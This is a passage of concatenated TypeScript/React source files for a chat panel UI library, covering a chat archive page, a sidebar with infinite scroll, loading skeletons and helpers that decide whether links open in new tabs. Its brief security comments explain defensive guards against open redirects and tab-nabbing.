'ModelDisplaySkeleton';\n\nexport { ModelDisplay, ModelDisplaySkeleton };\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as HoverCardPrimitive from \"@radix-ui/react-hover-card\"\n\nimport { cn } from \"../utils/cn\"\n\nconst HoverCard = HoverCardPrimitive.Root\n\nconst HoverCardTrigger = HoverCardPrimitive.Trigger\n\nconst HoverCardContent = React.forwardRef<\n  React.ElementRef<typeof HoverCardPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof HoverCardPrimitive.Content>\n>(({ className, align = \"center\", sideOffset = 4, ...props }, ref) => (\n  <HoverCardPrimitive.Content\n    ref={ref}\n    align={align}\n    sideOffset={sideOffset}\n    className={cn(\n      \"z-50 w-64 rounded-md border bg-popover p-4 text-popover-foreground shadow-md outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2\",\n      className\n    )}\n    {...props}\n  />\n))\nHoverCardContent.displayName = HoverCardPrimitive.Content.displayName\n\nexport { HoverCard, HoverCardTrigger, HoverCardContent }\n","'use client'\n\nimport * as React from 'react'\nimport { Chevron02LeftIcon, BoxArchiveIcon } from '../icons-v2-generated'\nimport { XmarkIcon } from '../icons-v2-generated/signs-and-symbols/xmark-icon'\nimport { ChatHeaderIconButton } from './chat-header-icon-button'\nimport { ChatPanelHeaderMobile } from './chat-panel-header-mobile'\nimport { MingoChatHistory, MingoChatHistorySkeleton } from './mingo-chat-history'\nimport { ChatListEmptyState } from './chat-list-empty-state'\nimport type { DialogItem } from './types/component.types'\n\ninterface ChatArchivePageBaseProps {\n  /** Archived dialogs, grouped (Today / Yesterday / Older) by the list. */\n  dialogs: ReadonlyArray<DialogItem>\n  /** Open an archived dialog. */\n  onSelectDialog: (id: string) => void\n  /** The delayed skeleton is visible (a slow first page is loading). */\n  isLoading?: boolean\n  /** A first-page load is in flight but the delayed skeleton hasn't appeared\n   *  yet — keeps the empty state suppressed so it never flashes before the\n   *  skeleton/data arrives. */\n  isFetching?: boolean\n  /** Whether another page of archived dialogs remains. */\n  hasMore?: boolean\n  /** Fetch the next page. */\n  onLoadMore?: () => void\n}\n\n/** Standalone (default): renders its own back/close header, so BOTH handlers\n *  are required. */\nexport interface ChatArchivePageStandaloneProps extends ChatArchivePageBaseProps {\n  embedded?: false\n  /** Back chevron — returns to the previous (list) view. */\n  onBack: () => void\n  /** Close the whole chat panel. */\n  onClose: () => void\n}\n\n/** Embedded (wide split layout): the archive lives in the left rail and the\n *  host header already provides the \"Chat Archive\" back + close controls, so\n *  the built-in header — and its handlers — are dropped. */\nexport interface ChatArchivePageEmbeddedProps extends ChatArchivePageBaseProps {\n  embedded: true\n  onBack?: never\n  onClose?: never\n}\n\nexport type ChatArchivePageProps =\n  | ChatArchivePageStandaloneProps\n  | ChatArchivePageEmbeddedProps\n\n/**\n * Chat Archive page — Figma node `7361:427312`. Back + title + close header\n * over the date-grouped archived-dialog list (reuses `MingoChatHistory`\n * without the row action menus). In `embedded` mode the header is dropped so\n * the list can slot into the split layout's left rail.\n */\nexport function ChatArchivePage(props: ChatArchivePageProps) {\n  const {\n    dialogs,\n    onSelectDialog,\n    isLoading = false,\n    isFetching = false,\n    hasMore = false,\n    onLoadMore,\n  } = props\n  return (\n    <>\n      {/* Mobile (<md): the shared mobile header — back to the list + a ⋯ menu\n          (Close only here, since the archive list has no per-chat actions).\n          `!props.embedded` narrows the union so `onBack` / `onClose` are the\n          required standalone handlers (no no-op fallbacks). */}\n      {!props.embedded && (\n        <ChatPanelHeaderMobile\n          className=\"flex md:hidden\"\n          showBack\n          title=\"Chat Archive\"\n          backAriaLabel=\"Back\"\n          onBack={props.onBack}\n          onClose={props.onClose}\n        />\n      )}\n\n      {/* Desktop (md+): fixed-height bar with full-height divider action cells —\n          the back chevron is a leading `ChatHeaderIconButton` cell matching the\n          trailing close cell (not a small inline chevron). */}\n      {!props.embedded && (\n        <div className=\"hidden md:flex flex-shrink-0 h-14 w-full overflow-hidden border-b border-ods-border bg-ods-card\">\n          <ChatHeaderIconButton divider=\"right\" onClick={props.onBack} aria-label=\"Back\">\n            <Chevron02LeftIcon size={24} />\n          </ChatHeaderIconButton>\n          <div className=\"flex flex-1 min-w-0 items-center px-[var(--spacing-system-mf)] py-[var(--spacing-system-sf)]\">\n            <span className=\"truncate text-h3 text-ods-text-primary\">\n              Chat Archive\n            </span>\n          </div>\n\n          <ChatHeaderIconButton onClick={props.onClose} aria-label=\"Close\">\n            <XmarkIcon size={24} />\n          </ChatHeaderIconButton>\n        </div>\n      )}\n      <div className=\"flex flex-1 min-h-0 flex-col p-[var(--spacing-system-m)]\">\n        {dialogs.length > 0 ? (\n          <MingoChatHistory\n            dialogs={dialogs}\n            onSelectDialog={onSelectDialog}\n            hasMore={hasMore}\n            isLoadingMore={isLoading && dialogs.length > 0}\n            onLoadMore={onLoadMore}\n          />\n        ) : isLoading ? (\n          // First-load skeleton — the SAME grouped/bordered placeholder the\n          // active list uses, so the archive loads and lands without a layout\n          // shift or a mismatched flat-list skeleton.\n          <MingoChatHistorySkeleton />\n        ) : isFetching ? (\n          // A first, uncached load is in flight but the delayed skeleton hasn't\n          // appeared yet (the 120ms window). Render nothing rather than flashing\n          // the empty state before the skeleton / data arrives.\n          null\n        ) : (\n          // Empty state — mirrors the \"Current Chats\" rail empty state\n          // (Figma 113:60939): centred 24px muted glyph + h4 title + h6 caption.\n          <ChatListEmptyState\n            icon={<BoxArchiveIcon size={24} />}\n            title=\"No Archived Chats\"\n            description=\"Archived Mingo sessions will show here\"\n          />\n        )}\n      </div>\n    </>\n  )\n}\n","import { forwardRef, useRef, useEffect } from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { Button } from \"../ui/button\"\nimport { ChatPlusIcon, ChatsIcon } from \"../icons-v2-generated\"\nimport { Chevron02RightIcon } from \"../icons-v2-generated\"\nimport { ChatSidebarSkeleton, DialogListItemSkeleton } from \"./chat-sidebar-skeleton\"\nimport type { ChatSidebarProps, DialogListItemProps } from \"./types\"\n\nconst DialogListItem = forwardRef<HTMLDivElement, DialogListItemProps>(\n  ({ className, dialog, isActive, onDialogSelect, onClick, ...props }, ref) => {\n    const handleClick = (e: React.MouseEvent<HTMLDivElement>) => {\n      onDialogSelect?.(dialog.id)\n      onClick?.(e)\n    }\n\n    const formatTimestamp = (timestamp?: Date | string) => {\n      if (!timestamp) return ''\n      const date = typeof timestamp === 'string' ? new Date(timestamp) : timestamp\n      return date.toLocaleDateString('en-US', {\n        year: 'numeric',\n        month: '2-digit',\n        day: '2-digit'\n      }) + ', ' + date.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', hour12: false })\n    }\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"flex items-center gap-4 overflow-clip\",\n          \"px-4 py-3\",\n          \"cursor-pointer border-b border-ods-border\",\n          \"bg-ods-card\",\n          \"hover:bg-ods-bg-hover transition-colors\",\n          isActive && \"bg-ods-bg-hover border-l-2 border-l-ods-accent\",\n          className\n        )}\n        onClick={handleClick}\n        {...props}\n      >\n        {/* Content area */}\n        <div className=\"flex flex-1 flex-col items-start justify-center gap-1 min-w-0\">\n          <div className=\"flex items-center w-full min-w-0\">\n            <h3 className={cn(\n              \"text-h6 min-w-0 flex-1\",\n              isActive ? \"text-ods-accent\" : \"text-ods-text-primary\",\n              \"truncate\"\n            )} title={dialog.title || 'Untitled Chat'}>\n              {dialog.title || 'Untitled Chat'}\n            </h3>\n          </div>\n          {dialog.timestamp && (\n            <p className=\"text-h6 text-ods-text-secondary truncate w-full min-w-0\">\n              {formatTimestamp(dialog.timestamp)}\n            </p>\n          )}\n        </div>\n        \n        {/* Right side indicator - always visible */}\n        <div className=\"flex-shrink-0 ml-2\">\n          {dialog.unreadMessagesCount && dialog.unreadMessagesCount > 0 ? (\n            <div className=\"bg-ods-accent flex items-center justify-center p-2 rounded-md size-6\">\n              <span className=\"text-h6 text-ods-text-on-accent\">\n                {dialog.unreadMessagesCount > 99 ? '99+' : dialog.unreadMessagesCount}\n              </span>\n            </div>\n          ) : (\n            <Chevron02RightIcon className=\"size-6 text-ods-text-secondary\" />\n          )}\n        </div>\n      </div>\n    )\n  }\n)\n\nDialogListItem.displayName = \"DialogListItem\"\n\nconst ChatSidebar = forwardRef<HTMLDivElement, ChatSidebarProps>(\n  ({ className, onNewChat, onDialogSelect, dialogs = [], activeDialogId, isLoading, isCreatingDialog, children, hasNextPage, isFetchingNextPage, onLoadMore, ...props }, ref) => {\n    const showEmptyState = dialogs.length === 0 && !children\n    const scrollContainerRef = useRef<HTMLDivElement>(null)\n    const loadMoreRef = useRef<HTMLDivElement>(null)\n    const onLoadMoreRef = useRef(onLoadMore)\n    onLoadMoreRef.current = onLoadMore\n    const isFetchingRef = useRef(isFetchingNextPage)\n    isFetchingRef.current = isFetchingNextPage\n\n    useEffect(() => {\n      const scrollContainer = scrollContainerRef.current\n      const loadMoreElement = loadMoreRef.current\n      if (!scrollContainer || !loadMoreElement || !hasNextPage) return\n\n      const observer = new IntersectionObserver(\n        (entries) => {\n          const [entry] = entries\n          if (entry.isIntersecting && !isFetchingRef.current) {\n            onLoadMoreRef.current?.()\n          }\n        },\n        { root: scrollContainer, rootMargin: '100px', threshold: 0.1 }\n      )\n      observer.observe(loadMoreElement)\n      return () => observer.disconnect()\n    }, [hasNextPage])\n\n    if (isLoading && dialogs.length === 0 && !children) {\n      return (\n        <ChatSidebarSkeleton\n          className={className}\n          dialogCount={8}\n          showNewChatButton={true}\n        />\n      )\n    }\n\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"w-80 h-full flex flex-col\",\n          \"bg-ods-bg\",\n          \"border-r border-ods-border\",\n          className\n        )}\n        {...props}\n      >\n        {/* Start New Chat Button */}\n        <div className=\"bg-ods-card border-b border-ods-border flex items-center justify-center px-4 py-1 shrink-0\">\n          <Button\n            onClick={onNewChat}\n            variant=\"transparent\"\n            disabled={isLoading || isCreatingDialog}\n            leftIcon={<ChatPlusIcon className=\"size-6 text-ods-text-secondary\" />}\n            className=\"flex-1 justify-center text-h3 text-ods-text-primary hover:bg-ods-bg-hover focus-visible:ring-0\"\n          >\n            Start New Chat\n          </Button>\n        </div>\n\n        {/* Dialogs List or Content Area */}\n        <div className=\"flex-1 flex flex-col min-h-0\">\n          {showEmptyState ? (\n            /* Empty State */\n            <div className=\"flex-1 flex flex-col items-center justify-center gap-6 p-6\">\n              <ChatsIcon className=\"w-6 h-6 text-ods-text-secondary\" />\n              <div className=\"text-center space-y-2\">\n                <h3 className=\"text-h4 text-ods-text-secondary\">\n                  No Current Chats\n                </h3>\n                <p className=\"text-h6 text-ods-text-secondary\">\n                  Previous Mingo sessions will show here\n                </p>\n              </div>\n            </div>\n          ) : children ? (\n            /* Custom children content */\n            <div className=\"flex-1 overflow-y-auto overscroll-contain\">\n              {children}\n            </div>\n          ) : (\n            /* Dialogs List */\n            <div ref={scrollContainerRef} className=\"flex-1 overflow-y-auto overscroll-contain min-h-0\">\n              <div className=\"flex flex-col\">\n                {dialogs.map((dialog) => (\n                  <DialogListItem\n                    key={dialog.id}\n                    dialog={dialog}\n                    isActive={dialog.id === activeDialogId}\n                    onDialogSelect={onDialogSelect}\n                  />\n                ))}\n                \n                {/* Infinite scroll loading indicator and intersection target */}\n                {hasNextPage && (\n                  <div ref={loadMoreRef}>\n                    {isFetchingNextPage && (\n                      <>\n                        <DialogListItemSkeleton />\n                        <DialogListItemSkeleton />\n                        <DialogListItemSkeleton />\n                      </>\n                    )}\n                  </div>\n                )}\n              </div>\n            </div>\n          )}\n        </div>\n      </div>\n    )\n  }\n)\n\nChatSidebar.displayName = \"ChatSidebar\"\n\nexport { ChatSidebar, DialogListItem }","import * as React from \"react\"\nimport { cn } from \"../../utils/cn\"\nimport { Button } from \"../ui/button\"\nimport { ChatPlusIcon } from \"../icons-v2-generated\"\n\ninterface DialogListItemSkeletonProps {\n  className?: string\n}\n\nconst DialogListItemSkeleton = React.forwardRef<HTMLDivElement, DialogListItemSkeletonProps>(\n  ({ className, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"flex items-center gap-4 overflow-clip\",\n          \"px-4 py-3\",\n          \"border-b border-ods-border\",\n          \"bg-ods-card\",\n          className\n        )}\n        {...props}\n      >\n        {/* Content area skeleton */}\n        <div className=\"flex flex-1 flex-col items-start justify-center gap-1\">\n          <div className=\"flex items-center w-full\">\n            {/* Title skeleton */}\n            <div className=\"h-6 w-full max-w-[200px] bg-ods-border rounded animate-pulse\" />\n          </div>\n          {/* Timestamp skeleton */}\n          <div className=\"h-4 w-32 bg-ods-border rounded animate-pulse\" />\n        </div>\n        \n        {/* Right side chevron skeleton */}\n        <div className=\"size-6 bg-ods-border rounded animate-pulse shrink-0\" />\n      </div>\n    )\n  }\n)\n\nDialogListItemSkeleton.displayName = \"DialogListItemSkeleton\"\n\ninterface ChatSidebarSkeletonProps {\n  className?: string\n  dialogCount?: number\n  showNewChatButton?: boolean\n}\n\nconst ChatSidebarSkeleton = React.forwardRef<HTMLDivElement, ChatSidebarSkeletonProps>(\n  ({ className, dialogCount = 8, showNewChatButton = true, ...props }, ref) => {\n    return (\n      <div\n        ref={ref}\n        className={cn(\n          \"w-80 h-full flex flex-col\",\n          \"bg-ods-bg\",\n          \"border-r border-ods-border\",\n          className\n        )}\n        {...props}\n      >\n        {/* Start New Chat Button */}\n        {showNewChatButton && (\n          <div className=\"bg-ods-card border-b border-ods-border flex items-center justify-center px-4 py-1 shrink-0\">\n            <Button\n              variant=\"transparent\"\n              disabled={true}\n              leftIcon={<ChatPlusIcon className=\"size-6 text-ods-text-secondary\" />}\n              className=\"flex-1 justify-center text-h3 text-ods-text-secondary cursor-not-allowed hover:bg-transparent\"\n            >\n              Start New Chat\n            </Button>\n          </div>\n        )}\n\n        {/* Dialogs List Skeleton */}\n        <div className=\"flex-1 flex flex-col min-h-0\">\n          <div className=\"flex-1 overflow-y-auto overscroll-contain min-h-0\">\n            <div className=\"flex flex-col\">\n              {Array.from({ length: dialogCount }).map((_, index) => (\n                <DialogListItemSkeleton key={index} />\n              ))}\n            </div>\n          </div>\n        </div>\n      </div>\n    )\n  }\n)\n\nChatSidebarSkeleton.displayName = \"ChatSidebarSkeleton\"\n\nexport { ChatSidebarSkeleton, DialogListItemSkeleton }","'use client'\n\n/**\n * Lib-side `<a>` wrapper for chat-rendered links (markdown bodies,\n * source-chip drill-ins, inline references).\n *\n * Reads the active `ChatRuntime` and routes clicks through\n * `handleChatNavClick`. Same single-source rules as source chips and\n * inline cards:\n *   - new-tab decision via `computeIsNewTab` (embed-mode short-circuit\n *     + `runtime.navigation.decideNewTab` + lib fallback)\n *   - `target` / `rel` via `newTabAnchorAttrs`\n *   - same-tab click → close the chat panel (via `ChatPanelContext`);\n *     new-tab click → leave panel open while the new tab loads\n *\n * Chat-only contract: uses `useRequiredChatRuntime`, which THROWS when\n * mounted outside a `<ChatRuntimeContext.Provider>`. That's by design —\n * the lib should never silently fall back when the runtime is missing\n * (the chat tree always provides one in both host + embed modes).\n *\n * For surfaces OUTSIDE the chat tree (header chrome, marketing pages, …)\n * the hub keeps its own `useNavLink`-based anchor.\n */\n\nimport type { ReactNode, MouseEvent } from 'react'\nimport { useRequiredChatRuntime } from '../../contexts/chat-runtime-context'\nimport { useRouter } from '../../embed-shims/next-navigation'\nimport { handleChatNavClick } from './utils/nav-click-handler'\nimport { resolveHrefForRuntime } from './utils/chat-nav-resolution'\nimport { computeIsNewTab, newTabAnchorAttrs } from './utils/nav-anchor-props'\nimport { useChatPanel } from './chat-panel-context'\n\nexport interface NavLinkAnchorViaRuntimeProps {\n  href: string\n  path?: string | null\n  targetPlatform?: string | null\n  className?: string\n  /** Optional — matches `NavLinkAnchorComponent`'s contract so the\n   *  markdown-anchor slot can render an empty anchor (rare but legal). */\n  children?: ReactNode\n}\n\nexport function NavLinkAnchorViaRuntime({\n  href,\n  path,\n  targetPlatform,\n  className,\n  children,\n}: NavLinkAnchorViaRuntimeProps) {\n  const runtime = useRequiredChatRuntime()\n  const router = useRouter()\n  const panel = useChatPanel()\n  const resolvedHref = resolveHrefForRuntime(href, runtime)\n  const isNewTab = computeIsNewTab(runtime, resolvedHref, targetPlatform ?? null)\n\n  const onClick = (e: MouseEvent<HTMLAnchorElement>) => {\n    const handled = handleChatNavClick(e, runtime, {\n      href: resolvedHref,\n      path,\n      targetPlatform,\n    }, router.push)\n    if (handled && !isNewTab && panel?.closeChat) panel.closeChat()\n  }\n  return (\n    <a\n      href={resolvedHref}\n      {...newTabAnchorAttrs(isNewTab)}\n      onClick={onClick}\n      className={className}\n    >\n      {children}\n    </a>\n  )\n}\n","/**\n * Pure utility — true iff `url` has an explicit host (i.e. would resolve\n * to a different origin than where the consumer is running). Used by\n * chat nav decisions and the extracted `decideNewTab` helper.\n *\n * SSR-deterministic: any URL with an explicit host (http://, https://,\n * or protocol-relative //) is treated as cross-origin. By convention\n * same-origin same-app navigation uses RELATIVE paths; an absolute URL\n * with a host is external.\n *\n * Why deterministic: an earlier `window`-dependent implementation\n * returned different values during SSR (false — no window) vs client\n * hydration (true — origin differs), causing React hydration mismatches\n * on every anchor that fell into the no-targetPlatform fallback (e.g.\n * footer \"Support\" links to flamingo.run/support). Same-platform\n * absolute URLs (rare — they only happen when a composer like\n * `buildContentURL` returns an absolute URL for a non-current platform)\n * flow through `decideNewTab`'s PLATFORM branch first (which uses\n * `targetPlatform !== currentSource`) and never reach this fallback.\n */\nexport function isCrossOriginUrl(url: string | null | undefined): boolean {\n  if (!url) return false\n  // Same-document references — a bare fragment (`#anchor`) or query\n  // (`?tab=x`) resolves against the current page and can never leave\n  // the origin.\n  if (url.startsWith('#') || url.startsWith('?')) return false\n  // Relative URL — by definition same origin.\n  if (url.startsWith('/') && !url.startsWith('//')) return false\n  // Anything else — absolute URL (http(s)://) or protocol-relative (//)\n  // — is treated as cross-origin.\n  return true\n}\n","/**\n * Pure new-tab decision helper.\n *\n * Same logic as the hub's prior inline `decideNewTab`, but parameterized:\n *   - `currentSource` is passed by caller (was `currentPlatform()` reads\n *     inside the body). Hub callers pass `currentPlatform()`; lib chip\n *     code passes `runtime.source ?? ''`.\n *\n * BRANCH PRIORITY:\n *   1. `runtimeMode === 'embed'` → always new-tab (embed-mode short-circuit)\n *   2. `openIn === 'new-tab'` or `'same-tab'` — explicit caller override\n *   3. `alwaysNewTab === true` (legacy synonym for `openIn: 'new-tab'`)\n *   4. `targetPlatform` defined AND `currentSource` non-empty →\n *      platform comparison (cross-app → new tab, same-app → same tab)\n *   5. Legacy fallback: `isCrossOriginUrl(href)` — origin compare. Works\n *      in prod (distinct hosts) but degrades to \"always same-tab\" in dev.\n *\n * No call site implements its own variant of the rule.\n */\n\nimport { isCrossOriginUrl } from './is-cross-origin-url'\n\nexport type NavSurface = 'useNavLink' | 'useUnifiedNav'\nexport type RuntimeMode = 'host' | 'embed'\n\nexport interface DecideNewTabInput {\n  href: string | null | undefined\n  targetPlatform?: string | null\n  openIn?: 'new-tab' | 'same-tab'\n  alwaysNewTab?: boolean\n  /** Caller tag — labels the decision in any external trace logging. */\n  surface?: NavSurface\n  /** Optional chat-runtime mode. When omitted OR set to `'host'`,\n   *  behavior is byte-equivalent to the legacy logic. Only `'embed'`\n   *  triggers the new priority-1 branch that forces new-tab. */\n  runtimeMode?: RuntimeMode\n  /** Current chat source / platform identifier — caller-threaded.\n   *  Empty string disables the platform-comparison branch (falls\n   *  through to the origin-compare fallback). */\n  currentSource: string\n}\n\nexport function decideNewTab(input: DecideNewTabInput): boolean {\n  const { href, targetPlatform, openIn, alwaysNewTab, runtimeMode, currentSource } = input\n\n  // Priority #1: embed-mode trumps every other branch.\n  if (runtimeMode === 'embed') return true\n  if (openIn === 'new-tab') return true\n  if (alwaysNewTab === true) return true\n  if (openIn === 'same-tab') return false\n  // `currentSource` falsy guard: if empty, fall through to origin check.\n  if (targetPlatform !== undefined && targetPlatform !== null && currentSource) {\n    return targetPlatform !== currentSource\n  }\n  if (!href) return false\n  return isCrossOriginUrl(href)\n}\n","/**\n * Pure helpers for the new-tab decision + anchor attribute pair used\n * by chat-rendered links.\n *\n * After the navigation unification (ChatCardLoader pre-resolves\n * `chatRef.url` via `resolveSourceRowCTA` + `resolveHrefForRuntime`,\n * and `ChatCardNavWrap` handles every primary click via `onClickCapture`\n * → `handleChatNavClick`), the per-card wrapper only needs\n * `{href, target, rel}` on its inner `<a>` so modifier-click /\n * hover-preview / copy-link work natively.\n *\n * `computeIsNewTab` is the SINGLE source of the new-tab rule across\n * inline cards, source chips, and `NavLinkAnchorViaRuntime`. Do NOT\n * inline the `runtime.navigation.mode === 'embed'` short-circuit + the\n * `decideNewTab` fallback chain anywhere else.\n *\n * Rules:\n *   - `embed` mode → new-tab, EXCEPT for same-origin absolute hrefs. The chat\n *     lives on the embedder origin and most content lives on the hub (→ new\n *     tab), but an embedder may host a few content types in-app (e.g. OpenFrame\n *     serves releases / roadmap / guides under `/help-center`). Those are\n *     emitted as ABSOLUTE same-origin URLs by the embedder's `composeContentUrl`;\n *     keep them same-tab so they soft-nav in-app instead of opening a redundant\n *     new tab on the same origin. Relative hrefs stay new-tab — in embed mode\n *     they're hub-relative (absolutized against `defaultContentOrigin`).\n *   - `host` mode → defer to the runtime's `decideNewTab` callback\n *     (cross-platform → new-tab) or the lib's default.\n */\n\nimport type { ChatRuntime } from '../../../contexts/chat-runtime-context'\nimport { decideNewTab as libDecideNewTab } from './decide-new-tab'\n\n/** An ABSOLUTE `http(s)` URL on the current page's origin. Relative hrefs return\n *  false (in embed mode they're hub-relative, not in-app), as do cross-origin\n *  and non-http URLs. SSR-safe: no `window` → false. */\nfunction isSameOriginAbsoluteHref(href: string): boolean {\n  if (typeof window === 'undefined') return false\n  if (!/^https?:\\/\\//i.test(href)) return false\n  try {\n    return new URL(href).origin === window.location.origin\n  } catch {\n    return false\n  }\n}\n\nexport function computeIsNewTab(\n  runtime: ChatRuntime,\n  href: string | null | undefined,\n  targetPlatform: string | null,\n): boolean {\n  if (!href) return false\n  if (runtime.navigation.mode === 'embed') return !isSameOriginAbsoluteHref(href)\n  return (\n    runtime.navigation.decideNewTab?.({ href, targetPlatform }) ??\n    libDecideNewTab({\n      href,\n      targetPlatform,\n      currentSource: runtime.source ?? '',\n    })\n  )\n}\n\n/**\n * Returns the `target` + `rel` attribute pair for an inner `<a>` based\n * on the new-tab decision. Spread directly into JSX:\n *   <a href={href} {...newTabAnchorAttrs(isNewTab)} />\n *\n * Single helper so chat anchors stay consistent — new-tab links always\n * pair `_blank` with `noopener noreferrer` (defense against window.opener\n * tab-nabbing) and same-tab links don't render either attribute.\n */\nexport function newTabAnchorAttrs(isNewTab: boolean): {\n  target?: '_blank'\n  rel?: 'noopener noreferrer'\n} {\n  return isNewTab\n    ? { target: '_blank' as const, rel: 'noopener noreferrer' as const }\n    : {}\n}\n\n/**\n * Combine `href` + new-tab attrs into a card's `anchorProps` slot.\n * Returns `undefined` (not a falsy object) when there's no URL, so card\n * components can branch on `anchorProps != null` to render either a\n * clickable `<a>` or a static `<span>`.\n *\n * Replaces the repeated inline\n * `chatRef.url ? { href: chatRef.url, ...newTabAnchorAttrs(isNewTab) } : undefined`\n * pattern across the 7 dispatcher wrappers.\n */\nexport function buildAnchorProps(\n  href: string | null | undefined,\n  isNewTab: boolean,\n): { href: string; target?: '_blank'; rel?: 'noopener noreferrer' } | undefined {\n  return href ? { href, ...newTabAnchorAttrs(isNewTab) } : undefined\n}\n","'use client'\n\n/**\n * Embed-mode navigation resolver + shared click-handling primitives.\n *\n * Used by the lib chat panel's chip + card click handlers to force\n * new-tab + absolutize against the embedder-supplied content origin.\n *\n * Refactor from hub origin (D5): inferTargetPlatformFromHref +\n * getPlatformDomain dropped. Caller threads `targetPlatform` directly.\n * Relative URLs without a defaultContentOrigin emit a dev warning\n * and resolve against window.location.origin (likely wrong in embed\n * mode; embedder should set defaultContentOrigin).\n */\n\nimport type { ChatRuntime } from '../../../contexts/chat-runtime-context'\n\n/** Arguments accepted by `window.open` for a new tab — keep `noopener`\n *  + `noreferrer` to prevent the opened page from accessing\n *  window.opener (reverse-tabnabbing class). */\nexport const NEW_TAB_FEATURES = 'noopener,noreferrer'\n\n/** Modifier-click predicate — matches the existing useNavLink branch\n *  (cmd/ctrl/shift/alt OR non-primary mouse button). */\nexport function isModifierClick(e: {\n  button?: number\n  metaKey?: boolean\n  ctrlKey?: boolean\n  shiftKey?: boolean\n  altKey?: boolean\n}): boolean {\n  return (\n    e.button !== 0 ||\n    !!e.metaKey ||\n    !!e.ctrlKey ||\n    !!e.shiftKey ||\n    !!e.altKey\n  )\n}\n\n/** Strip the origin from a same-origin absolute URL, returning a relative\n *  path the host's router will treat as in-app navigation. Pass-through\n *  for already-relative URLs and for cross-origin URLs. */\nexport function stripSameOriginToPath(href: string): string {\n  if (!href.startsWith('http')) return href\n  try {\n    const u = new URL(href)\n    return u.pathname + u.search + u.hash\n  } catch {\n    return href\n  }\n}\n\nexport interface ExternalNavResolution {\n  /** Absolutized href — relative paths are joined with\n   *  `runtime.navigation.defaultContentOrigin` (embed contract). */\n  href: string\n  /** Synchronous opener. MUST be invoked inline from a user gesture for\n   *  popup-blocker compatibility (Safari/Firefox). Honors\n   *  runtime.navigation.openExternal override, else falls back to\n   *  window.open(href, '_blank', 'noopener,noreferrer'). */\n  open: () => void\n}\n\n/**\n * Pre-resolve an href against the embed-mode `defaultContentOrigin`.\n *\n * In `embed` mode every chat-rendered anchor MUST point at an absolute\n * URL on the hub origin (not the embedder origin). Without\n * pre-resolution, relative paths like `/knowledge-base/foo.md` render\n * as `<a href=\"/knowledge-base/...\">` — the click handler intercepts\n * primary-button clicks correctly, but modifier-click (cmd/ctrl/middle/\n * right) bypasses the handler and opens `<embedder-origin>/...` → 404.\n * Pre-resolution at render time makes every browser-native navigation\n * path (hover preview, status bar, copy-link, new-tab via modifier)\n * land on the hub correctly.\n *\n * In `host` mode (the hub itself) the href is returned unchanged —\n * relative paths resolve naturally against the hub's own origin.\n *\n * Absolute URLs and protocol-relative URLs are returned unchanged in\n * both modes.\n */\nexport function resolveHrefForRuntime(\n  href: string,\n  runtime: ChatRuntime,\n): string {\n  if (runtime.navigation.mode !== 'embed') return href\n  if (href.startsWith('http')) return href\n  if (href.startsWith('//')) return href\n  const origin = runtime.navigation.defaultContentOrigin\n  if (!origin) return href\n  return origin.replace(/\\/+$/, '') + (href.startsWith('/') ? href : '/' + href)\n}\n\n/**\n * Resolve external navigation in embed mode.\n *\n * Browser-only: called from React event handlers (onClick, imperative\n * click handlers) after mount. No SSR-reachable paths.\n */\nexport function resolveExternalNavigation(args: {\n  href: string\n  targetPlatform: string | null | undefined\n  runtime: ChatRuntime\n}): ExternalNavResolution {\n  let abs = args.href\n\n  // Defense: protocol-relative URLs (`//evil.com/x`) are NOT same-origin —\n  // browsers treat them as cross-origin absolute. Without this guard,\n  // a malicious href like `//evil.com/x` would skip the `startsWith('http')`\n  // check and reach the origin-concat branch below, producing a malformed\n  // URL that some browsers normalize back to `https://evil.com/x`\n  // (open-redirect class).\n  if (abs.startsWith('//')) abs = window.location.protocol + abs\n\n  if (!abs.startsWith('http')) {\n    if (args.runtime.navigation.defaultContentOrigin) {\n      // Strip trailing slashes via a loop, not `/\\/+$/` — CodeQL flags\n      // the greedy `+` as polynomial-redos even with the `$` anchor.\n      // The loop is unambiguously O(n) in slash count.\n      let origin = args.runtime.navigation.defaultContentOrigin\n      while (origin.endsWith('/')) origin = origin.slice(0, -1)\n      abs = origin + (abs.startsWith('/') ? abs : '/' + abs)\n    } else if (\n      args.runtime.navigation.mode === 'embed' &&\n      process.env.NODE_ENV !== 'production'\n    ) {\n      console.warn(\n        '[chat-nav-resolution] relative href in embed mode with no ' +\n          'defaultContentOrigin set on runtime.navigation — link will resolve ' +\n          'against the embedder origin.',\n        { href: abs, targetPlatform: args.targetPlatform },\n      )\n    }\n  }\n\n  const open = () => {\n    // Explicit if/else (NOT `??`) — `??` only short-circuits on\n    // null/undefined LHS, but `openExternal?.(href)` returns void on a\n    // successful call, which `??` treats as undefined and re-fires\n    // window.open — double-open bug.\n    if (args.runtime.navigation.openExternal) {\n      args.runtime.navigation.openExternal(abs)\n    } else {\n      window.open(abs, '_blank', NEW_TAB_FEATURES)\n    }\n  }\n\n  return { href: abs, open }\n}\n","'use client'\n\n/**\n * THE single navigation-EXECUTION primitive for the whole lib.\n *\n * Link BUILDING is unified by `composeContentUrl`; the new-tab DECISION is\n * unified by `computeIsNewTab`/`decideNewTab`. This is the third leg: ONE place\n * that EXECUTES a navigation — encoding new-tab-vs-same-tab + internal-vs-external\n * + embed-vs-host + the runtime-then-router-then-window fallback chain. Every\n * surface routes through it:\n *   - chat cards / chips / markdown links → `executeNavigation` (click form),\n *     via the thin `handleChatNavClick` wrapper.\n *   - buttons / page rows / form redirects → `executeNavigationImperative` directly.\n *\n * Decision tree (the SAME one `handleChatNavClick` used — copied verbatim so\n * behavior is byte-identical; the hub's chat-click behavior MUST NOT change):\n *   1. empty href → no-op (click form preventDefaults + reports handled)\n *   2. (click form) modifier / non-primary button → NOT handled — let the\n *      browser do its native thing (`<a>` opens a new tab, etc.)\n *   3. `computeIsNewTab` true → `runtime.navigation.openExternal(href)` else\n *      `window.open(href, '_blank', noopener,noreferrer)`\n *   4. else (same-tab) → 